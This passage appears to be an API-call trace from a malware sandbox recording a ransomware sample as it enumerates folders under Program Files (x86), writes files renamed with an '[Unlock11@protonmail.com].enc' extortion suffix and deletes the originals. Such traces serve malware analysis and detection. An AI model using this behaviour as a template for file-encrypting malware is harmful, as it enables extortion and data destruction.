lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasc.dll", lpFilePart=0x9bada4*="msdasc.dll") returned 0x3c [0199.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasql.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasql.dll", lpFilePart=0x9bada4*="msdasql.dll") returned 0x3d [0199.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0199.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0199.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasqlr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdasqlr.dll", lpFilePart=0x9bada4*="msdasqlr.dll") returned 0x3e [0199.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatl3.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatl3.dll", lpFilePart=0x9bada4*="msdatl3.dll") returned 0x3d [0199.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdatt.dll", lpFilePart=0x9bada4*="msdatt.dll") returned 0x3c [0199.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaurl.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msdaurl.dll", lpFilePart=0x9bada4*="msdaurl.dll") returned 0x3d [0199.658] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msxactps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\msxactps.dll", lpFilePart=0x9bada4*="msxactps.dll") returned 0x3e [0199.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0199.659] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32.dll", lpFilePart=0x9bada4*="oledb32.dll") returned 0x3d [0199.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.659] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32r.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledb32r.dll", lpFilePart=0x9bada4*="oledb32r.dll") returned 0x3e [0199.659] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbjvs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbjvs.inc", lpFilePart=0x9bada4*="oledbjvs.inc") returned 0x3e [0199.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.659] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0199.660] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbvbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\oledbvbs.inc", lpFilePart=0x9bada4*="oledbvbs.inc") returned 0x3e [0199.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.660] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.dll", lpFilePart=0x9bada4*="sqloledb.dll") returned 0x3e [0199.660] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.rll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqloledb.rll", lpFilePart=0x9bada4*="sqloledb.rll") returned 0x3e [0199.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.660] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.dll", lpFilePart=0x9bada4*="sqlxmlx.dll") returned 0x3d [0199.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.661] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.rll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpFilePart=0x9bada4*="sqlxmlx.rll") returned 0x3d [0199.661] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb5aeab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0199.661] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbbb5aeab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.661] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb490b100, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdaorar.dll.mui", cAlternateFileName="")) returned 1 [0199.661] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb6f30b00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0199.662] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b1b89b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb6f30b00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0199.662] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb8243800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0199.662] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b41af9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb8243800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0199.694] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b41af9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb8243800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0199.695] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0199.695] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdaorar.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\msdaorar.dll.mui")) returned 0x20 [0199.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0199.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0199.696] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0199.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0199.696] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0199.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0199.697] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0199.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0199.697] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0199.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0199.698] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811f8, Size=0x20) returned 0x3733ff8 [0199.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdaorar.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdaorar.dll.mui", lpFilePart=0x9bada4*="msdaorar.dll.mui") returned 0x48 [0199.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", lpFilePart=0x9bada4*="msdasqlr.dll.mui") returned 0x48 [0199.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0199.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", lpFilePart=0x9bada4*="oledb32r.dll.mui") returned 0x48 [0199.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", lpFilePart=0x9bada4*="sqloledb.rll.mui") returned 0x48 [0199.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0199.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0199.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0199.699] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", lpFilePart=0x9bada4*="sqlxmlx.rll.mui") returned 0x47 [0199.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.699] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd177555, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd177555, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0199.705] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd177555, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd177555, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.706] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Chrome", cAlternateFileName="")) returned 1 [0199.706] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0199.706] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a2c9ae0, ftCreationTime.dwHighDateTime=0x1d4a639, ftLastAccessTime.dwLowDateTime=0x48867710, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x48867710, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="nvidia-citizenship.exe", cAlternateFileName="NVIDIA~1.EXE")) returned 1 [0199.706] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Update2", cAlternateFileName="")) returned 1 [0199.706] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Update2", cAlternateFileName="")) returned 0 [0199.706] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0199.707] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome" (normalized: "c:\\program files (x86)\\google\\chrome")) returned 0x10 [0199.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0199.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0199.707] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\CrashReports" (normalized: "c:\\program files (x86)\\google\\crashreports")) returned 0x10 [0199.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0199.707] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe" (normalized: "c:\\program files (x86)\\google\\nvidia-citizenship.exe")) returned 0x20 [0199.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0199.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0199.708] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Update2" (normalized: "c:\\program files (x86)\\google\\update2")) returned 0x10 [0199.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0199.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3733ff8 | out: hHeap=0x2ad0000) returned 1 [0199.709] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe", lpFilePart=0x9bada4*="nvidia-citizenship.exe") returned 0x34 [0199.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0199.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0199.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.710] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe" (normalized: "c:\\program files (x86)\\google\\nvidia-citizenship.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a2c9ae0, ftCreationTime.dwHighDateTime=0x1d4a639, ftLastAccessTime.dwLowDateTime=0x48867710, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x48867710, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0199.710] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366423c | out: pbBuffer=0x366423c) returned 1 [0199.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0199.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0199.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0199.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3733ff8 [0199.710] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe" (normalized: "c:\\program files (x86)\\google\\nvidia-citizenship.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.711] GetFileType (hFile=0x334) returned 0x1 [0199.711] GetFileType (hFile=0x334) returned 0x1 [0199.711] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.711] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.711] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.712] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.712] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.712] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.712] CreateFileA (lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\google\\nvidia-citizenship.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.714] GetFileType (hFile=0x39c) returned 0x1 [0199.714] GetFileType (hFile=0x39c) returned 0x1 [0199.714] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.714] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.714] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.715] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.719] CloseHandle (hObject=0x39c) returned 1 [0199.722] CloseHandle (hObject=0x334) returned 1 [0199.722] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Google\\nvidia-citizenship.exe" (normalized: "c:\\program files (x86)\\google\\nvidia-citizenship.exe")) returned 0 [0199.723] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, 